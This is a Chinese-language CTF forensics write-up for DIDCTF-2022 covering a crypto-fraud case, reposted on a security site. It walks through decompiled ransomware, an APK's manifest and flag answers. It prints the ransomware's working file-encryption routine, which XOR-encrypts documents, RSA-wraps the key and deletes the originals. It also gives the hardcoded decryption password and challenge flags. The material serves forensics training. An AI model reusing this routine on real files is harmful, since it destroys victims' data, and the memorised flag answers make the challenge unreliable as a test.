文章总结: 本文记录了DIDCTF-2022长安杯CTF的解题过程,涵盖虚拟币诈骗案的电子取证。内容涉及服务器仿真与数据库恢复、Windows取证、安卓模拟器及APK逆向、勒索软件解密等。详细展示了提取IP、破解密码、还原数据及获取FLAG的实战技巧,适合CTF取证与恶意软件分析训练。 综合评分: 95 文章分类: CTF,逆向分析,恶意软件,WEB安全,实战经验
可以看到是txt jpg xls docx
43、分析加密程序,是通过什么算法对文件进行加密的?
还是看反编译的代码:
class XORCBC:
def __init__(self, key: bytes):
self.key = bytearray(key)
self.cur = 0
def encrypt(self, data: bytes) -> bytes:
data = bytearray(data)
for i in range(len(data)):
tmp = data[i]
data[i] ^= self.key[self.cur]
self.key[self.cur] = tmp
self.cur = (self.cur + 1) % len(self.key)
return bytes(data)
def run_finall():
for filepath, dirnames, filenames in os.walk(os.getcwd()):
for filename in filenames:
if filename != "encrypt_file.py" and filename != "decrypt_file.py" and "_encrypted" not in filename:
ExtensionPath = os.path.splitext(filename)[-1]
if ".txt" == ExtensionPath or ".jpg" == ExtensionPath or ".xls" == ExtensionPath or ".docx" == ExtensionPath:
time.sleep(3)
data_file = os.path.join(filepath, filename)
rsakey = RSA.import_key(pubkey)
cipher = Cipher_pkcs1_v1_5.new(rsakey)
xor_key = os.urandom(16)
xor_obj = XORCBC(xor_key)
outf = open(data_file + "_encrypted", "wb")
encrypted_xor_key = cipher.encrypt(xor_key)
outf.write(encrypted_xor_key)
buffer_size = 4096
with open(data_file, "rb") as f:
while True:
data = f.read(buffer_size)
if not data:
break
outf.write(xor_obj.encrypt(data))
outf.close()
os.remove(data_file)
虽然出现了RSA,但是只是生成了密钥,最终对文件加密还是用的异或
44、分析加密程序,其使用的非对称加密方式公钥后5位为?
非对称加密说的明显就是RSA,看反编译的代码:
pubkey = "-----BEGIN PUBLIC KEY-----\nMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQEAx5JF4elVDBaakgGeDSxI\nCO1LyyZ6B2TgR4DNYiQoB1zAyWPDwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVo\nbHVZh+rCI4MwAh+EBFUeT8Dzja4ZlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRn\nHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2fUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYzi\nSOT4PCf/O12Kuu9ZklsIAihRPl10SmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhz\nRDFn9IQ6YQRjlLjuOX8WB6H4NbnKX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/I\nkwIEHoau+w==\n-----END PUBLIC KEY-----\n"
后5位就是:u+w==
45、被加密文档中,FLAG1的值是(FLAG为8位字符串,如“FLAG9:QWERT123”)
本来想着双击decrypt_file.exe就解密了,结果还需要密码,这个又不联网,密码肯定是写死在了程序里的:
同样的操作反编译decrypt_file.exe,在源码中看到了密码:4008003721
然后运行解密程序:
打开这个文档:
FLAG1:TREFWGFS
你的数据下载地址如下:
https://你还真能解开啊?那我也不给你/
flag就是:TREFWGFS
46、恶意APK程序的包名为
从检材一的网站前台页面里给出的APK的下载的二维码中得到下载地址:https://pan.forensix.cn/f/c45ca511c7f2469090ad/?dl=1
下载下来APK,用jadx分析,查看AndroidManifest.xml
包名是:cn.forensix.changancup
47、APK调用的权限包括
(A)READ_EXTERNAL_STORAGE
(B)WRITE_EXTERNAL_STORAGE
(C)SEND_SMS
(D)WRITE_CONTACTS
同样在AndroidManifest.xml里:
所以是:AB
48、解锁第一关所使用的FLAG2值为(FLAG为8位字符串,如需在apk中输入FLAG,请输入完整内容,如输入”FLAG9:QWERT123″)
先脱壳,然后jadx反编译
然后全局搜索关键词FLAG:
点进去,直接看到FLAG2:MATSFRKG
49、解锁第二关所使用的FLAG3值为(FLAG为8位字符串,如需在apk中输入FLAG,请输入完整内容,如输入”FLAG9:QWERT123″)
代码分析题,看不太懂,这个需要一步一步调试,可以看这篇文章:
https://blog.csdn.net/SDPCTRM/article/details/127672427
50、解锁第三关所需的KEY值由ASCII可显示字符组成,请分析获取该KEY值
代码分析题,看不太懂,这个需要一步一步调试,可以看这篇文章:
https://blog.csdn.net/SDPCTRM/article/details/127672427
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:南有禾木 北渚《DIDCTF-2022长安杯》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论